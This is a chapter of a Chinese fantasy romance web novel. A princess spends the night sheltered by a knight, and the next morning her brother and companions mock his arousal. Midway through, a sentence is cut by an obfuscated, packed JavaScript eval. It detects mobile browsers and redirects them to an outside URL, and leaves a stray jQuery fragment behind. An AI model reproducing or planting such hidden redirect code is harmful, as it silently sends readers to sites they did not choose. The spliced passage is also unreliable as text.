“……你的剑顶到我了。”
露佩拉尝试委婉提示。
“抱歉,殿下。”
一阵金属碰撞声响起。
“……不是这把剑。”
露佩拉动了动身子,那个硬邦邦的东西也跟着动了一下。
“抱歉,殿下。”
凯恩低下头,发出了一声在露佩拉听来匪夷所思的疑惑:“它怎么起来了,明明不是早上……”
露佩拉一言难尽。
“你爸爸没教过你吗?”
“我父亲?”凯恩挠了挠头,“他教我挥剑,教我战斗,教我忠诚,好像确实没教过这把剑怎么用……”
“……你那打法也不对,哪儿有那么不怕疼不怕死的打法?”
“疼?什么是疼?”凯恩陷入了回忆之中,他似乎从未想过这个概念,“殿下给我上药时的那种感觉是疼吗?”
“……”
露佩拉决定允许他聊他的原生家庭创伤。
毕竟皇室再怎么不在乎底下人的性命,也不至于冷漠到把士兵当成这样廉价的耗材来培养,那只能是家教出了问题。
“跟我聊聊兰斯特洛家族是如何培养你的。”露佩拉端起公主的架子,开始和下级进行一对一的面谈。
“抱歉殿下,这涉及到家族的底线,哪怕是您我也无法告知。”凯恩难得拒绝她。
露佩拉没有生气,毕竟她也带着一身无法言说的秘密。她作为外来人,比他更懂身为异类的感受,并不想强行戳他的伤疤。
于是,她伸出手,并不温柔地隔着裤子在那根还没有休息的坏东西上弹了一下。
“嘶……”凯恩浑身一颤,像是被电了一样,“殿下?!”
“既然是家族秘密,那我也懒得听了。”露佩拉调整了一下姿势,努力避开那根伤人的剑,“但从现在开始,你的战斗由我指挥,我说停你就要停下,如果你不停,那种感觉就叫作痛。”
凯恩似懂非懂,但对王室的忠诚让他还是机械性地点了点头:“懂了,我的剑只为殿下而动。”
“很好。”露佩拉点了点头,开始着手解决人身安全问题,“为了让你那根不听话的佩剑冷静下来,我命令你从现在开始背诵帝国刑法全文,不背完不许睡觉。”
“……遵命。”凯恩不理解,但照做。
于是,在这个充满暧昧气息的溪边夜晚,浑身滚烫的骑士紧紧抱着怀里的女人,开始背诵起了枯燥的法律条文。
“第一条,凡背叛皇室者,处极刑……”
“第二条,偷窃公物者,断手……”
啧,这条跳过。
“第三条,违背女性意愿发生关系者,处极刑……”
在这低沉又荒谬的背书声中,露佩拉竟然意外地感到安心,仿佛回到了高中课堂上,在这熟悉的白噪音中慢慢闭上了眼睛。
凯恩的声音越来越低,因为怀中人的呼吸正在变得绵长,可他又不敢停下,因为她说了不背完不许睡。
等到他好不容易背完刑法,露佩拉已经睡熟了,那把剑也不知何时睡着了。
一切归于寂静。
第二天早上,天刚蒙蒙亮的时候,露佩拉先一步睁开了眼睛。
因为到了那把不听话的剑苏醒的时刻。
那个坚硬又滚烫的热源,正精神抖擞地抵着她的腿根,存在感强到让人根本无法忽视。
露佩拉无语地盯着眼前这张看起来人畜无害的英俊脸庞,谁能想到,这个睡着了像天使一样的骑士,身体却诚实得像个流氓。
这把剑是不是有点太勤奋了?
露佩拉正想伸手报复这个打扰她睡觉的东西,就被一阵急促的脚步声打断了。
“殿下!”
“艾斯黛拉!”
此起彼伏的呼唤声惊起林间飞鸟。
完了,抓奸的来了。
露佩拉一把推开凯恩,从他身上跳了起来,可惜已经晚了一步,凯恩身上的披风和起立的巨剑都被西里尔看到了,紧随其后的是一脸笑意的路西恩和拿着罗盘的伊利安。
“……”
露佩拉知道,这是西里尔暴风雨降临的前摇。
“艾斯黛拉!”
居然还知道叫公主的名字,看来他还没有完全气昏头,露佩拉生怕他一激动叫出她的本名。
“我的好妹妹,看来你昨晚过得非常精彩。我竟不知,帝国骑士的职责,已经拓展到为公主暖床了吗?”西里尔说话一如既往的委婉。
凯恩听出了他话里的尖锐,立刻站到露佩拉身前,将她挡在身后,并单膝下跪:“我只是在履行护卫的职责,以免殿下受凉。”
即使他跪下的动作很快,但他刚才起身那一瞬间的雄伟景象,显然没有逃过在场另外三个男人的眼睛。
西里尔垂下眼帘,视线扫过凯恩被披风遮掩的下半身。
“职责?”
他轻笑了一声。
“看来你的佩剑比你本人更急着向公主致敬啊,兰斯特洛家的骑士。”西里尔“带着这种凶器贴身履职,我是不是该庆幸你昨晚没有误伤了我的好妹妹?”
凯恩的脸瞬间涨得通红,哪怕是再迟钝的木头,也听懂了这这种露骨的羞辱。他张了张嘴,羞愤得说不出话来:“我……那是……”
“哎呀,殿下别这么严厉嘛。”
路西恩适时地插嘴,笑眯眯地推了推眼镜:“年轻人嘛,早晨精力旺盛是好事。这说明凯恩骑士身体素质过硬,不仅能抗怪,关键时刻还能……咳,不论是哪种战斗都能坚持很久呢。”
伊利安则是厌恶地后退了一步,仿佛那边的空气都有毒。
连这种低级的生理冲动都控制不住的野兽,也配称之为骑士?简直是有辱斯文。还有那边那位公主,难怪这么多年不敢露面,竟然是这种货色。
虽然他没有说话,但是他脸上的表情就是这样写的。
面对这三个男人的嘲讽和鄙夷,跪在地上的凯恩只能攥着披风的边缘,低头紧盯自己的靴尖。
而作为当事人之一的露佩拉,终于做出了她的表态。
“咕噜噜噜——”
她的肚子适时地响了。
“我饿了,谁有吃的。”
空气里涌动的各种情绪都在这一刻变为了无言以对,所有人将目光从凯恩的巨剑转移到露佩拉的肚子上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101569|195738||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,而她则正盯着路西恩。
这个人兜里跟杂货铺似的,肯定有吃的。
西里尔揉着眉心转过身,似乎不想再面对这一切。
这几天的礼仪课全白教了。
亏他为她担惊受怕找了一晚,结果她在这儿抱着刚认识的男人睡觉。
伊利安脸上的不屑变为了震惊,然后又切回了更深的不屑。
这个女人不仅不知廉耻,还毫无礼仪可言。
而凯恩在看昨天剩下的烤兔骨架。
早知道昨晚少吃一点了,或者出去帮她多猎一只兔子也好。
路西恩跟她认识这么久,早已习惯了她的厚颜无耻,平静地从储物袋拿出干粮:“是我的疏忽,殿下,先用这个垫垫肚子。”
露佩拉毫不见外地接过干粮,狠狠咬了一口。虽然味道像锯末一样,但好歹能填饱肚子。
“吃饱了吗?”
西里尔看着她腮帮子鼓鼓的样子,无奈地叹了口气,看起来像个正在带操心孩子的家长。
露佩拉点了点头,顺手把剩下的一半干粮扔给了旁边还在盯着骨架发呆的凯恩。
“接着,吃饱了才有力气干活。”
凯恩手忙脚乱地接住,看着手里还沾着一点她牙印的干粮,耳根又红了,低声说了句“谢谢殿下”,然后像狗抱着骨头一样啃了起来。
这一幕让旁边的伊利安再次发出了一声冷哼。
“既然闹剧结束了,”西里尔整理了一下袖口,恢复了皇室威仪,“那就收拾一下出发吧,这里离最近的落日镇还有半天的路程。”
他扫了一眼衣衫不整的凯恩,眉头微皱,看向路西恩:“给他找件衣服,皇家的骑士光着身子到处跑,成何体统。”
“遵命。”路西恩笑眯眯地从他那百宝箱一样的储物袋里,掏出了一件备用的牧师长袍扔给凯恩,“虽然款式素了点,但总比让公主殿下一直盯着你的肌肉看要好,对吧?”
凯恩默默地套上那件略显紧身的灰袍,但他并没有把露佩拉的披风还在给她,而是非常自然地把它叠好,收进了自己的怀里。
“走吧。”
西里尔自然地走到露佩拉身边,向她伸出了一只手臂,示意她挽住自己。
“接下来的路跟紧我,我可不想再满森林地去找一只乱跑的猴子了。”
露佩拉感觉自己像个被刑警押向刑场的犯人,但西里尔这位刑警十分体贴,途中一直自然地调整步速,并用闲聊将其他人插话的机会堵死。
在这种举步维艰的窒息氛围里,落日镇那标志性的木门终于出现在了视野中。
作为帝国最炙手可热的王子,西里尔在花钱这方面从不手软。
“是要把这层楼包下来吗?皇兄。”
露佩拉看着西里尔直接甩给旅店老板一袋足以买下半个店的金币,忍不住在心里感叹顶级有钱人该死的钞能力。
“为了安全起见,清场是必要的。”西里尔微笑着接过老板颤颤巍巍递来的钥匙,“而且,我也希望你能有个安静的环境休息,毕竟……”
他意味深长地扫了一眼身后的三个男人。
“有些人太吵了。”